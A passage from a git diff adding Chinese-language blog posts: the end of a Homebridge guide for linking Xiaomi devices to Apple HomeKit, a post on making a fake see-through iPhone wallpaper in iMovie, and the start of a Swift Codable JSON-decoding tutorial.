章節教的,啟動/重新啟動/掃描加入 Homebridge;就能在「家庭」APP 中看到攝影機的控制項目了。 + + +![](/assets/99db2a1fbfe5/1*R1bxhdiGuY3SyFnrhCO6iw.png) + + + +![](/assets/99db2a1fbfe5/1*05s08YdF6vQUWAG7nmTnfA.png) + + +可控制項目:空氣清淨機開關、風力大小調整 +可查看項目:當前溫濕度 +#### 4\.米家 LED 智慧檯燈 + +在 Terminal 下命令安裝 [homebridge\-yeelight\-wifi](https://github.com/vieira/homebridge-yeelight-wifi){:target="_blank"} 這個 homebridge 套件 **\(不加 sudo\)** : +```bash +npm install -g homebridge-yeelight-wifi +``` + + +![](/assets/99db2a1fbfe5/1*1fQJ9UTCJRghUk00iT2WcQ.png) + + +參考前文的修改設定檔\(config\.json\)教學,在檔案中加入 **platforms** 區塊\(若已有則在區塊內「,」新增一個子區塊\) **:** +```json +{ + "bridge":{ + "name":"Homebridge", + "username":"CC:22:3D:E3:CE:30", + "port":51826, + "pin":"123-45-568" + }, + "platforms":[ + { + "platform":"yeelight", + "name":"Yeelight" + } + ] +} +``` + +不用特別帶什麼參數進去!若要做更細節的設定可參考 [官方文件](https://github.com/vieira/homebridge-yeelight-wifi){:target="_blank"} \(如亮度/色溫…\) + + +> **_記得存檔!_** + + + + + +智慧檯燈還需改綁定到「 [Yeelight](https://apps.apple.com/tw/app/yeelight/id977125608){:target="_blank"} 」APP,然後將「區域網路控制」打開才能給 Homebridge 控制。 + +1\.在 iPhone 上下載安裝「 [Yeelight](https://apps.apple.com/tw/app/yeelight/id977125608){:target="_blank"} 」APP + + +![App Store 搜尋「Yeelight」安裝](/assets/99db2a1fbfe5/1*3m-UOoI7uam4a_N5dxU5VQ.png) + +App Store 搜尋「Yeelight」安裝 + + +![](/assets/99db2a1fbfe5/1*G9-12giq1DVIw5zTKOaF4A.png) + + + +![](/assets/99db2a1fbfe5/1*usLJKkehTDKeeFG95KDe4g.png) + + + +![安裝完打開 Yeelight APP \-> 「增加裝置」\-> 找到「米家檯燈」\-> 重新配對綁定](/assets/99db2a1fbfe5/1*cWBMAqa_xkL01SoURNSO8g.png) + +安裝完打開 Yeelight APP \-> 「增加裝置」\-> 找到「米家檯燈」\-> 重新配對綁定 + + +![最後一步記得打開「 **區域網路控制** 」](/assets/99db2a1fbfe5/1*8un0THsUf3ZesFPGSj_p-g.jpeg) + +最後一步記得打開「 **區域網路控制** 」 + + +> \*如果不小心沒點到打開,可以在「裝置」頁 \-> 選檯燈裝置進入 \-> 點右下角「△」Tab \-> 點「局域網控制」進入設定 \-> 打開區域網路控制 + + + + + +> **_吐槽一下這個真的有夠爛,米家本身的 APP 沒有此開關功能,一定要綁到 Yeelight APP,也不能解綁或重綁回米家…否則會失效。_** + + + + + +然後照 Homebridge 章節教的,啟動/重新啟動/掃描加入 Homebridge;就能在「家庭」APP 中看到攝影機的控制項目了。 + + +![](/assets/99db2a1fbfe5/1*vyAiFirZgDB6_OSsHIdEPw.jpeg) + + +可控制項目:燈開關、色溫調整、亮度調整 +#### 其他米家智慧家電 homebridge 套件: + +**我最終的 config\.json 長這樣:** +```json +{ + "bridge":{ + "name":"Homebridge", + "username":"CC:22:3D:E3:CE:30", + "port":51826, + "pin":"123-45-568" + }, + "accessories":[ + { + "accessory":"MijiaCamera", + "name":"Mi Camera", + "ip":"192.168.0.105", + "token":"6d304e6867384b704b4f714d45314a34" + }, + { + "accessory":"XiaomiAirPurifier3", + "name":"Xiaomi Air Purifier", + "did":"270033668", + "ip":"192.168.0.108", + "token":"5c3eeb03065fd8fc6ad10cae1f7cce7c", + "pm25_breakpoints":[ + 5, + 12, + 35, + 55 + ] + } + ], + "platforms":[ + { + "platform":"MiFanPlatform", + "deviceCfgs":[ + { + "type":"MiDCVariableFrequencyFan", + "ip":"192.168.0.106", + "token":"dd1b6f582ba6ce34f959bbbc1c1ca59f", + "fanName":"room fan", + "fanDisable":false, + "temperatureName":"room temperature", + "temperatureDisable":true, + "humidityName":"room humidity", + "humidityDisable":true, + "buzzerSwitchName":"fan buzzer switch", + "buzzerSwitchDisable":true, + "ledBulbName":"fan led switch", + "ledBulbDisable":true + } + ] + }, + { + "platform":"yeelight", + "name":"Yeelight" + } + ] +} +``` + +**給大家做參考!** + +我有用到的米家家電如上教學,其他我沒有的就沒去試了,大家可以自己 [**上 npm 查詢(homebridge\-plugin XXX英文名稱)**](https://www.npmjs.com/search?q=keywords%3Ahomebridge-plugin%20mi%20camera){:target="_blank"} ,然後照上面邏輯大同小異安裝、設定串接上去! + +這邊附上幾個我找到但沒試過的 homebridge 套件\(不保證能用\): +1. 小米空氣清淨機1代: [homebridge\-mi\-air\-purifier](https://github.com/seikan/homebridge-mi-air-purifier){:target="_blank"} +2. 米家智能插座系列: [homebridge\-mi\-outlet](https://github.com/YinHangCode/homebridge-mi-outlet){:target="_blank"} +3. 小米掃地機器人: [homebridge\-mi\-robot\_vacuum](https://github.com/YinHangCode/homebridge-mi-robot_vacuum){:target="_blank"} +4. 米家智能網關: [homebridge\-mi\-aqara](https://github.com/YinHangCode/homebridge-mi-aqara){:target="_blank"} + +### 小叮嚀 +1. 建議到路由器將所有米家家電設定為指定/保留 IP,否則 IP 位置可能會變動,要重新更改 config\.json 設定。 +2. 如果發現步驟都對但就是串不起來出現錯誤或是在 HomeKit 上一直顯示「無回應」,可以重新嘗試看看;如果還是一樣可能代表套件已失效,要找其他的套件來串接了。\(可查看 github issue\) +3. 功能失效、反應慢;這個也無解,可以發 issue 告知作者等作者更新,由於是開源專案,不可要求太多了\! +4. **綁定完每個家電,都可以啟動一次 Homebridge,再回到 iPhone 上看能不能運作,能的話可以再下「Controle」+「C」終止;當全部家電都綁定好後,可重新啟動樹莓派,讓他在重啟後自己在後台啟動 homebridge 服務;這才是我們要的。** + +### 結語 + + +![](/assets/99db2a1fbfe5/1*w7WnAn3XHNW2f5fJbRd_Zw.jpeg) + + + +![](/assets/99db2a1fbfe5/1*ph8BfcF0ivvlZyKNF9mubQ.png) + + + +![另外可以在「設定」\->「控制中心」\->「自訂」中將「家庭」APP 拉上去就能在下拉控制中心中快速操作 HomeKit \!](/assets/99db2a1fbfe5/1*e1FAJuyCLOWEkA6MAeENkA.jpeg) + +另外可以在「設定」\->「控制中心」\->「自訂」中將「家庭」APP 拉上去就能在下拉控制中心中快速操作 HomeKit \! + +全部串上 HomeKit 後只有一個字「爽」!開關的反應更快,只差我沒有家庭中樞沒辦法遠端控制而已,此篇進階 Homebridge 也到此結束,感謝閱讀。 + +回到文章開頭,全都加入 HomeKit 後我們就可以無痛使用 iOS ≥ 13的捷徑自動化功能了。 + +之後再想要來研究 homebridge 套件是怎麼做的?感覺很有趣呢!所以如果有 HomeBridge 套件不合你的操作需求、有套件壞了找不到替代的,就在等我去研究吧! +#### Home assistant + +還有另一個智慧家庭的平台 [Homeassistant](https://www.home-assistant.io/){:target="_blank"} 可以刷入樹莓派使用( **但請注意:需要 2A 的電源才有辦法啟動** ); [Homeassistant](https://www.home-assistant.io/){:target="_blank"} 我也有灌來玩玩看,全 GUI 圖型操作,點一點就能串入家電;之後再來深入研究,感覺他等同於另一個米家平台而已,如果有很多不同廠商的 IOT 元件,更適合使用這個。 +#### 參考資料 +1. [https://www\.domoticz\.cn/forum/viewtopic\.php?t=52](https://www.domoticz.cn/forum/viewtopic.php?t=52){:target="_blank"} +2. [https://or2\.in/2017/07/02/Homekit\-and\-MiJia\-with\-pi/\#3\-%E5%8F%B7%E5%A4%96\-%E5%BC%80%E5%90%AF%E5%8F%AF%E8%A7%86%E5%8C%96VNC](https://or2.in/2017/07/02/Homekit-and-MiJia-with-pi/#3-%E5%8F%B7%E5%A4%96-%E5%BC%80%E5%90%AF%E5%8F%AF%E8%A7%86%E5%8C%96VNC){:target="_blank"} + +### 延伸閱讀 +1. [小米智慧家居新添購(AI音箱、溫濕度感應器、體重計2、直流變頻電風扇)](../bcff7c157941/) +2. [iOS ≥ 13\.1 使用「捷徑」自動化功能搭配米家智慧家居(直接使用 iOS ≥ 13\.1 內建的捷徑APP完成自動化操作)](../21119db777dd/) +3. [米家 APP / 小愛音箱地區問題](../94a4020edb82/) +4. [智慧家居初體驗 — Apple HomeKit & 小米米家 (米家智慧攝影機及米家智慧檯燈、Homekit設定教學)](../c3150cdc85dd/) + + + +有任何問題及指教歡迎 [與我聯絡](https://www.zhgchg.li/contact){:target="_blank"} 。 + + + +_[Post](https://medium.com/zrealm-life/%E6%89%93%E9%80%A0%E8%88%92%E9%81%A9%E7%9A%84-wfh-%E6%99%BA%E6%85%A7%E5%B1%85%E5%AE%B6%E7%92%B0%E5%A2%83-%E6%8E%A7%E5%88%B6%E5%AE%B6%E9%9B%BB%E7%9B%A1%E5%9C%A8%E6%8C%87%E5%B0%96-99db2a1fbfe5){:target="_blank"} converted from Medium by [ZMediumToMarkdown](https://github.com/ZhgChgLi/ZMediumToMarkdown){:target="_blank"}._ diff --git a/_posts/zmediumtomarkdown/2020-05-10-2e4429f410d6.md b/_posts/zmediumtomarkdown/2020-05-10-2e4429f410d6.md new file mode 100644 index 000000000..332a253cf --- /dev/null +++ b/_posts/zmediumtomarkdown/2020-05-10-2e4429f410d6.md @@ -0,0 +1,195 @@ +--- +title: "使用 iPhone 簡單製作「偽」透視透明手機桌布" +author: "ZhgChgLi" +date: 2020-05-10T07:37:42.583+0000 +last_modified_at: 2023-08-05T16:58:08.473+0000 +categories: "ZRealm Life." +tags: ["iphone","生活","imovie","chroma-key","wallpaper"] +description: "應用 iMovie 綠幕摳圖功能合成影片" +image: + path: /assets/2e4429f410d6/1*ajTSwFaGmyAwQq05vUQVqA.png +render_with_liquid: false +--- + +### 使用 iPhone 簡單製作「偽」透視透明手機桌布 + +應用 iMovie 綠幕摳圖功能合成影片 + +### 反正我很閒 + +[白天工作,被資本家剝削肉體;晚上又被大眾娛樂剝削心靈,依然做不到白天工作、晚上讀書、假日批判的境界](https://www.youtube.com/watch?v=0_dVHQBx-4k){:target="_blank"} ! + +最近在無腦放鬆的時候, **滑到一個很常見的桌布 APP 廣告,廣告中展示了一個透視透明的桌布很吸睛** ;但可想而知是不可能的,就算後置相機實時取景角度也不可能這麼吻合! + + +![[【Youtuber內幕】美劇、影集注意!揭發大眾媒體不會告訴你的荼毒真相!白天工作 晚上讀書 假日批判!還原欺騙秘辛|反正我很閒](https://www.youtube.com/watch?v=0_dVHQBx-4k){:target="_blank"}](/assets/2e4429f410d6/1*ld3iXPtwH_pqTLADZcnSNg.png) + +[【Youtuber內幕】美劇、影集注意!揭發大眾媒體不會告訴你的荼毒真相!白天工作 晚上讀書 假日批判!還原欺騙秘辛|反正我很閒](https://www.youtube.com/watch?v=0_dVHQBx-4k){:target="_blank"} +### 完成效果 + + +![](/assets/2e4429f410d6/1*ajTSwFaGmyAwQq05vUQVqA.png) + + + +[![iPhone 「偽」透視透明手機桌布](/assets/2e4429f410d6/1cac_hqdefault.jpg "iPhone 「偽」透視透明手機桌布")](https://www.youtube.com/watch?v=J_uFAQEHxDM){:target="_blank"} + +### 我們要做個有腦的青年! + +雖然知道是特效,本來以為會非常複雜;沒想到 iPhone 內建的 iMovie APP 簡單點一點就能製作了。 +#### **只需要:** +1. 一支 iPhone(因為要直接使用 iMovie)、入鏡用手機 +2. 一支負責拍攝的手機 or 相機 +3. 手機架 or 水瓶…或任何可以支撐手機的物品 +4. [iMovie APP](https://apps.apple.com/tw/app/imovie/id377298193){:target="_blank"} (免費下載) +5. 綠色底圖(綠幕) + + + +![可直接下載此圖或從 [網路取得](https://www.google.com/search?q=green+screen&tbm=isch&ved=2ahUKEwiWl7yC16jpAhXAx4sBHWVACioQ2-cCegQIABAA&oq=green+screen&gs_lcp=CgNpbWcQAzIECCMQJzIECCMQJzICCAAyAggAMgIIADICCAAyAggAMgIIADICCAAyAggAULXwGli18BpgxPQaaABwAHgAgAE4iAE4kgEBMZgBAKABAaoBC2d3cy13aXotaW1n&sclient=img&ei=u6C3XtbNBsCPr7wP5YCp0AI&bih=945&biw=1920){:target="_blank"}](/assets/2e4429f410d6/1*nsCFd5nwtAIYr0qc8QlzUg.jpeg) + +可直接下載此圖或從 [網路取得](https://www.google.com/search?q=green+screen&tbm=isch&ved=2ahUKEwiWl7yC16jpAhXAx4sBHWVACioQ2-cCegQIABAA&oq=green+screen&gs_lcp=CgNpbWcQAzIECCMQJzIECCMQJzICCAAyAggAMgIIADICCAAyAggAMgIIADICCAAyAggAULXwGli18BpgxPQaaABwAHgAgAE4iAE4kgEBMZgBAKABAaoBC2d3cy13aXotaW1n&sclient=img&ei=u6C3XtbNBsCPr7wP5YCp0AI&bih=945&biw=1920){:target="_blank"} + +這 5 樣東西就能製作出透視效果! +#### 具體流程: +1. 架好負責拍攝的手機 +2. 直接拍攝一段乾淨的影片(無手機入鏡) +3. 將要入鏡的手機底圖設為綠色底圖 +4. 再拍攝一段入鏡手機的操作影片 +5. 開啟 iMovie APP 合成 +6. 完成 + +### 開始 +#### 1\. 將手機架設好、抓好拍攝角度 + + +![我使用兩個鰻魚罐頭跟一瓶礦泉水當作手機架(如果有立式手機架當然更好!)](/assets/2e4429f410d6/1*-Y5H7G6VVPUUgTGaUB2f1A.jpeg) + +我使用兩個鰻魚罐頭跟一瓶礦泉水當作手機架(如果有立式手機架當然更好!) + +使用手機架拍攝的目的是由於我們希望兩部影片的角度都是統一的,否則會出現畫面位移的情況,看起來效果就沒那麼好;手持的話勢必不可能兩部影片 100% 視角位置都ㄧ樣。 +#### 2\.拍攝一段乾淨的影片 + + +![](/assets/2e4429f410d6/1*qvC6sNrznXmv9rHoWzPiUA.jpeg) + + +影片想要多長,乾淨的影片就拍攝多長。 +#### 3\.將入鏡手機的桌布設為綠色底圖 + + +![](/assets/2e4429f410d6/1*m_MEA1SudODPvYyogcd5Gw.png) + + + +![](/assets/2e4429f410d6/1*-qVuOCQWlTpjkopYVV_SMg.png) + + + +![「設定」\-> 「背景圖片」\->「選擇下載下來的綠色底圖」\->「同時設定」](/assets/2e4429f410d6/1*qso6JJNOi2Ox_hMfLMAR6A.png) + +「設定」\-> 「背景圖片」\->「選擇下載下來的綠色底圖」\->「同時設定」 + + +![完成圖](/assets/2e4429f410d6/1*NYjXaoCiscPDzYdIlyUPbA.png) + +完成圖 +#### 4\.拍攝一段入鏡手機的操作影片 + + +![](/assets/2e4429f410d6/1*SOyY49HM3-kWmDCdjrznDQ.jpeg) + + +**影片時長同 2\. 乾淨影片;超過也沒關係,之後再裁剪。** +#### 5\.開啟 iMovie APP 建立專案 + + +![](/assets/2e4429f410d6/1*s71QOS2Eici5nXtOohc1UQ.png) + + + +![](/assets/2e4429f410d6/1*GGZFGI_ttJyAc4L1GghZBw.png) + + + +![「\+」\->「影片」\-> 選擇「 **乾淨的影片** 」\->「製作影片」](/assets/2e4429f410d6/1*Ju3cpubikU57M0fRadT_FA.jpeg) + +「\+」\->「影片」\-> 選擇「 **乾淨的影片** 」\->「製作影片」 + +插入乾淨的影片到專案中。 +#### 6\. 將播放位置移到最前 + + +![](/assets/2e4429f410d6/1*hCeZAoZggCU14s5rAmqv9Q.png) + + +若沒有將乾淨的影片播放位置移至影片起始點,否則在後續插入綠幕影片時會出現「 **將播放磁頭從結尾處移開來加入覆疊** 」。 +#### 7\.插入入鏡手機操作影片 + + +![](/assets/2e4429f410d6/1*hCeZAoZggCU14s5rAmqv9Q.png) + + + +![](/assets/2e4429f410d6/1*QWv0KEjoOGT6ij1A9aSeFA.png) + + + +![點擊右上角「\+」\->「影片」\->「全部」](/assets/2e4429f410d6/1*bV7cBJN5tQyez7h1UEo3GA.jpeg) + +點擊右上角「\+」\->「影片」\->「全部」 + + +![](/assets/2e4429f410d6/1*oQnGYEzWKHg4G7sYeiANVg.jpeg) + + + +![選擇「入鏡的操作影片」\->「…」\->「綠色/藍色螢幕」(俗稱:摳圖)](/assets/2e4429f410d6/1*VQZKKIb0Y0XdaetEeRBPJA.jpeg) + +選擇「入鏡的操作影片」\->「…」\->「綠色/藍色螢幕」(俗稱:摳圖) + + +![](/assets/2e4429f410d6/1*pzVjiHLmhPNVnuqGpx5yUg.jpeg) + + + +![點選上方「入鏡操作影片」\->「滾動到有綠色桌布的影格」\-> 點擊「綠色區域」\-> 完成透視透明](/assets/2e4429f410d6/1*r2Y1PvoSM5IVrXGoekR1zA.png) + +點選上方「入鏡操作影片」\->「滾動到有綠色桌布的影格」\-> 點擊「綠色區域」\-> 完成透視透明 +#### 8\.合成完成!匯出影片 + + +![](/assets/2e4429f410d6/1*DBOh8iEHmDrjQUdft2yyFQ.jpeg) + + + +![](/assets/2e4429f410d6/1*y7fi8Q5R4oAf9DGmsc9v1Q.png) + + + +![確認兩段影片結束時間一致,點擊左上角「完成」\-> 下方「分享」 \-> 選擇輸出目標 \-> 輸出完成](/assets/2e4429f410d6/1*rlG8lMVKmPhUqBkrvzfglA.png) + +確認兩段影片結束時間一致,點擊左上角「完成」\-> 下方「分享」 \-> 選擇輸出目標 \-> 輸出完成 +#### 9\. 完成 + + +![](/assets/2e4429f410d6/1*syfCA0bTJvKuf7cKQxzOrQ.gif) + +### Tips +1. 可先隱藏有綠色圖標的 APP,如 Line、訊息…\. 防止穿幫(因摳圖依據是綠色) +2. 或可使用藍色底圖,改摳藍色;或其他顏色也可(但綠/藍效果最佳) +3. 同原理還有更多玩法,等你發掘! + +### 結語 + +just for fun…沒想到 iMovie 功能這麼強大! +### 延伸閱讀 +- [\[生產力工具\] 拋棄 Chrome 投入 Sidekick 瀏覽器的懷抱](../118e924a1477/) + + + +有任何問題及指教歡迎 [與我聯絡](https://www.zhgchg.li/contact){:target="_blank"} 。 + + + +_[Post](https://medium.com/zrealm-life/%E4%BD%BF%E7%94%A8-iphone-%E7%B0%A1%E5%96%AE%E8%A3%BD%E4%BD%9C-%E5%81%BD-%E9%80%8F%E8%A6%96%E9%80%8F%E6%98%8E%E6%89%8B%E6%A9%9F%E6%A1%8C%E5%B8%83-2e4429f410d6){:target="_blank"} converted from Medium by [ZMediumToMarkdown](https://github.com/ZhgChgLi/ZMediumToMarkdown){:target="_blank"}._ diff --git a/_posts/zmediumtomarkdown/2020-06-13-1aa2f8445642.md b/_posts/zmediumtomarkdown/2020-06-13-1aa2f8445642.md new file mode 100644 index 000000000..5279ccd86 --- /dev/null +++ b/_posts/zmediumtomarkdown/2020-06-13-1aa2f8445642.md @@ -0,0 +1,836 @@ +--- +title: "現實使用 Codable 上遇到的 Decode 問題場景總匯" +author: "ZhgChgLi" +date: 2020-06-13T16:33:58.105+0000 +last_modified_at: 2024-04-13T08:24:35.445+0000 +categories: "ZRealm Dev." +tags: ["ios","ios-app-development","codable","json","decode"] +description: "從基礎到進階,深入使用 Decodable 滿足所有可能會遇到的問題場景" +image: + path: /assets/1aa2f8445642/1*9VYP3_Mhj9xsLKbgCwt6XQ.jpeg +render_with_liquid: false +--- + +### 現實使用 Codable 上遇到的 Decode 問題場景總匯\(上\) + +從基礎到進階,深入使用 Decodable 滿足所有可能會遇到的問題場景 + + + +![Photo by [Gustas Brazaitis](https://unsplash.com/@gustasbrazaitis){:target="_blank"}](/assets/1aa2f8445642/1*9VYP3_Mhj9xsLKbgCwt6XQ.jpeg) + +Photo by [Gustas Brazaitis](https://unsplash.com/@gustasbrazaitis){:target="_blank"} +### 前言 + +因應後端 API 升級需要調整 API 處理架構,近期趁這個機會一併將原本使用 Objective\-C 撰寫的網路處理架構更新成 Swift;因語言不同,也不在適合使用原本的 [Restkit](https://github.com/RestKit/RestKit){:target="_blank"} 幫我們處理網路層應用,但不得不說 Restkit 的功能包山包海非常強大,在專案中也用得活靈活現,基本沒有太大的問題;但相對的非常笨重、幾乎已不再維護、純 Objective\-C;未來勢必也要更換的。 + +Restkit 幾乎幫我們處理完所有網路請求相關會需要到的功能,從基本的網路處理、API 呼叫、網路處理,到 Response 處理 JSON String to Object 甚至是 Object 存入 Core Data 它都能一起處理實打實的一個 Framework 打十個。 + +隨著時代的演進,目前的 Framework 已不在主打一個包全部,更多的是靈活、輕巧、組合,增加更多彈性創造更多變化;因此再替換成 Swift 語言的同時,我們選擇使用 Moya 作為網路處理部分的套件,其他我們需要的功能再選擇其他方式進行組合。 +### 正題 + +關於 JSON String to Object Mapping 部分,我們使用 Swift 自帶的 Codable \(Decodable\) 協議 & JSONDecoder 進行處理;並拆分 Entity/Model 加強權責區分、操作及閱讀性、另外 Code Base 混 Objective\-C 和 Swift 也要考量進去。 + + +> _* Encodable 的部份省略、範例均只展示實作 Decodable,大同小異,可以 Decode 基本也能 Encode。_ + + + + +### 開始 + +假設我們初始的 API Response JSON String 如下: +```json +{ + "id": 123456, + "comment": "是告五人,不是五告人!", + "target_object": { + "type": "song", + "id": 99, + "name": "披星戴月的想你" + }, + "commenter": { + "type": "user", + "id": 1, + "name": "zhgchgli", + "email": "zhgchgli@gmail.com" + } +} +``` + +由上範例我們可以拆成:User/Song/Comment 三個 Entity & Model,讓我們組合能複用,為方便展示先將 Entity/Model 寫在同個檔案。 + +User: +```swift +// Entity: +struct UserEntity: Decodable { + var id: Int + var name: String + var email: String +} + +//Model: +class UserModel: NSObject { + init(_ entity: UserEntity) { + self.id = entity.id + self.name = entity.name + self.email = entity.email + } + var id: Int + var name: String + var email: String +} +``` + +Song: +```swift +// Entity: +struct SongEntity: Decodable { + var id: Int + var name: String +} + +//Model: +class SongModel: NSObject { + init(_ entity: SongEntity) { + self.id = entity.id + self.name = entity.name + } + var id: Int + var name: String +} +``` + +Comment: +```swift +// Entity: +struct CommentEntity: Decodable { + enum CodingKeys: String, CodingKey { + case id + case comment + case targetObject = "target_object" + case commenter + } + + var id: Int + var comment: String + var targetObject: SongEntity + var commenter: UserEntity +} + +//Model: +class CommentModel: NSObject { + init(_ entity: CommentEntity) { + self.id = entity.id + self.comment = entity.comment + self.targetObject = SongModel(entity.targetObject) + self.commenter = UserModel(entity.commenter) + } + var id: Int + var comment: String + var targetObject: SongModel + var commenter: UserModel +} +``` + +JSONDecoder: +```swift +let jsonString = "{ \"id\": 123456, \"comment\": \"是告五人,不是五告人!\", \"target_object\": { \"type\": \"song\", \"id\": 99, \"name\": \"披星戴月的想你\" }, \"commenter\": { \"type\": \"user\", \"id\": 1, \"name\": \"zhgchgli\", \"email\": \"zhgchgli@gmail.com\" } }" +let jsonDecoder = JSONDecoder() +do { + let result = try jsonDecoder.decode(CommentEntity.self, from: jsonString.data(using: .utf8)!) +} catch { + print(error) +} +``` +#### CodingKeys Enum? + +當我們的 JSON String Key Name 與 Entity Object Property Name 不相匹配時可以在內部加一個 CodingKeys 枚舉進行對應,畢竟後端資料源的 Naming Convention 不是我們可以控制的。 +```swift +case PropertyKeyName = "後端欄位名稱" +case PropertyKeyName //不指定則預設使用 PropertyKeyName 為後端欄位名稱 +``` + +一旦加入 CodingKeys 枚舉,則必須列舉出所有非 Optional 的欄位,不能只列舉想要客製的 Key。 + +另外一種方式是設定 JSONDecoder 的 keyDecodingStrategy,若 Response 資料欄位與 Property Name 僅為 `snake_case` <\-> `camelCase` 區別,可直接設定 `.keyDecodingStrategy` = `.convertFromSnakeCase` 就能自動匹配 Mapping。 +```swift +let jsonDecoder = JSONDecoder() +jsonDecoder.keyDecodingStrategy = .convertFromSnakeCase +try jsonDecoder.decode(CommentEntity.self, from: jsonString.data(using: .utf8)!) +``` +#### 回傳資料是陣列時: +```swift +struct SongListEntity: Decodable { + var songs:[SongEntity] +} +``` +#### 為 String 加上約束: +```swift +struct SongEntity: Decodable { + var id: Int + var name: String + var type: SongType + + enum SongType { + case rock + case pop + case country + } +} +``` + +適用於有限範圍的字串類型,寫成 Enum 方便我們傳遞、使用;若出現為列舉的值會 Decode 失敗! +#### 善用泛型包裹固定結構: + +假設多筆回傳的 JSON String 固定格式為: +```json +{ + "count": 10, + "offset": 0, + "limit": 0, + "results": [ + { + "type": "song", + "id": 1, + "name": "1" + } + ] +} +``` + +即可用泛型方式包裹起來: +```swift +struct PageEntity: Decodable { + var count: Int + var offset: Int + var limit: Int + var results: [E] +} +``` + +使用: `PageEntity.self` +#### Date/Timestamp 自動 Decode: + +設定 `JSONDecoder` 的 `dateDecodingStrategy` +- `.secondsSince1970/.millisecondsSince1970` : unix timestamp +- `.deferredToDate` : 蘋果的 timestamp,罕用,不同於 unix timestamp,這是從 2001/01/01 起算 +- `.iso8601` : ISO 8601 日期格式 +- `.formatted(DateFormatter)` : 依照傳入的 DateFormatter Decode Date +- `.custom` : 自訂 Date Decode 邏輯 + + +**\.cutstom 範例:假設 API 會回傳 YYYY/MM/DD 和 ISO 8601 兩種格式,兩中都要能 Decode:** +```swift +var dateFormatter = DateFormatter() +var iso8601DateFormatter = ISO8601DateFormatter() + +let decoder: JSONDecoder = JSONDecoder() +decoder.dateDecodingStrategy = .custom({ (decoder) -> Date in + let container = try decoder.singleValueContainer() + let dateString = try container.decode(String.self) + + //ISO8601: + if let date = iso8601DateFormatter.date(from: dateString) { + return date + } + + //YYYY-MM-DD: + dateFormatter.dateFormat = "yyyy-MM-dd" + if let date = dateFormatter.date(from: dateString) { + return date + } + + throw DecodingError.dataCorruptedError(in: container, debugDescription: "Cannot decode date string \(dateString)") +}) + +let result = try jsonDecoder.decode(CommentEntity.self, from: jsonString.data(using: .utf8)!) +``` + + +> _*DateFormatter 在 init 時非常消耗性能,盡可能重複使用。_ + + + + +#### 基本 Decode 常識: +1. Decodable Protocol 內的的欄位類型\(struct/class/enum\),都須實作 Decodable Protocol;亦或是在 init decoder 時賦予值 +2. 欄位類型不相符時會 Decode 失敗 +3. Decodable Object 中欄位設為 Optional 的話則為可有可無,有給就 Decode +4. Optional 欄位可接受: JSON String 無欄位、有給但給 nil +5. 空白、0 不等於 nil,nil 是 nil;弱型別的後端 API 需注意! +6. 預設 Decodable Object 中有列舉且非 Optional 的欄位,若 JSON String 沒給會 Decode 失敗(後續會說明如何處理) +7. 預設 遇到 Decode 失敗會直接中斷跳出,無法單純跳過有誤的資料(後續會說明如何處理) + + + +![[左:”” / 右:nil](https://josjong.com/2017/10/16/null-vs-empty-strings-why-oracle-was-right-and-apple-is-not/){:target="_blank"}](/assets/1aa2f8445642/1*B-j47uMMshXozF32msbRtg.jpeg) + +[左:”” / 右:nil](https://josjong.com/2017/10/16/null-vs-empty-strings-why-oracle-was-right-and-apple-is-not/){:target="_blank"} +### 進階使用 + +到此為止基本的使用已經完成了,但現實世界不會那麼簡單;以下列舉幾個進階會遇到的場景並提出適用 Codable 的解決方案,從這邊開始我們就無法靠原始的 Decode 幫我們補 Mapping 了,要自行實作 `init(from decoder: Decoder)` 客製 Decode 操作。 + + +> _*這邊暫時先只展示 Entity 的部分,Model 還用不到。_ + + + + +#### init\(from decoder: Decoder\) + +init decoder,必須賦予所有非 Optional 的欄位初始值(就是 init 啦!)。 + +自訂 Decode 操作時,我們需要從 `decoder` 中取得 `container` 出來操作取值, `container` 有三種取得內容的類型。 + + +![](/assets/1aa2f8445642/1*U2Rt9KZq3Vw_lkZkJl7t_Q.png) + + +**第一種 container\(keyedBy: CodingKeys\.self\)** **依照 CodingKeys 操作:** +```swift +struct SongEntity: Decodable { + var id: Int + var name: String + + enum CodingKeys: String, CodingKey { + case id + case name + } + + init(from decoder: Decoder) throws { + let container = try decoder.container(keyedBy: CodingKeys.self) + self.id = try container.decode(Int.self, forKey: .id) + //參數 1 接受支援:實作 Decodable 的類別 + //參數 2 CodingKeys + + self.name = try container.decode(String.self, forKey: .name) + } +} +``` + +**第二種 singleValueContainer** **將整包取出操作(單值):** +```swift +enum HandsomeLevel: Decodable { + case handsome(String) + case normal(String) + init(from decoder: Decoder) throws { + let container = try decoder.singleValueContainer() + let name = try container.decode(String.self) + if name == "zhgchgli" { + self = .handsome(name) + } else { + self = .normal(name) + } + } +} + +struct UserEntity: Decodable { + var id: Int + var name: HandsomeLevel + var email: String + + enum CodingKeys: String, CodingKey { + case id + case name + case email + } +} +``` + +適用於 Associated Value Enum 欄位類型,例如 name 還自帶帥氣程度! + +**第三種 unkeyedContainer** **將整包視為一包陣列:** +```swift +struct ListEntity: Decodable { + var items:[Decodable] + init(from decoder: Decoder) throws { + var unkeyedContainer = try decoder.unkeyedContainer() + self.items = [] + while !unkeyedContainer.isAtEnd { + //unkeyedContainer 內部指針會自動在 decode 操作後指向下一個對象 + //直到指向結尾即代表遍歷結束 + if let id = try? unkeyedContainer.decode(Int.self) { + items.append(id) + } else if let name = try? unkeyedContainer.decode(String.self) { + items.append(name) + } + } + } +} + +let jsonString = "[\"test\",1234,5566]" +let jsonDecoder = JSONDecoder() +let result = try jsonDecoder.decode(ListEntity.self, from: jsonString.data(using: .utf8)!) +print(result) +``` + +適用不固定類型的陣列欄位。 +#### Container 之下我們還能使用 nestedContainer / nestedUnkeyedContainer 對特定欄位操作: + + +> **_*將資料欄位扁平化(類似 flatMap)_** + + + + + + +![](/assets/1aa2f8445642/1*IE_dCAdXGDMaW-nSNT2ITg.png) + +```swift +struct ListEntity: Decodable { + + enum CodingKeys: String, CodingKey { + case items + case date + case name + case target + } + + enum PredictKey: String, CodingKey { + case type + } + + var date: Date + var name: String + var items: [Decodable] + var target: Decodable + + init(from decoder: Decoder) throws { + let container = try decoder.container(keyedBy: CodingKeys.self) + + self.date = try container.decode(Date.self, forKey: .date) + self.name = try container.decode(String.self, forKey: .name) + + let nestedContainer = try container.nestedContainer(keyedBy: PredictKey.self, forKey: .target) + + let type = try nestedContainer.decode(String.self, forKey: .type) + if type == "song" { + self.target = try container.decode(SongEntity.self, forKey: .target) + } else { + self.target = try container.decode(UserEntity.self, forKey: .target) + } + + var unkeyedContainer = try container.nestedUnkeyedContainer(forKey: .items) + self.items = [] + while !unkeyedContainer.isAtEnd { + if let song = try? 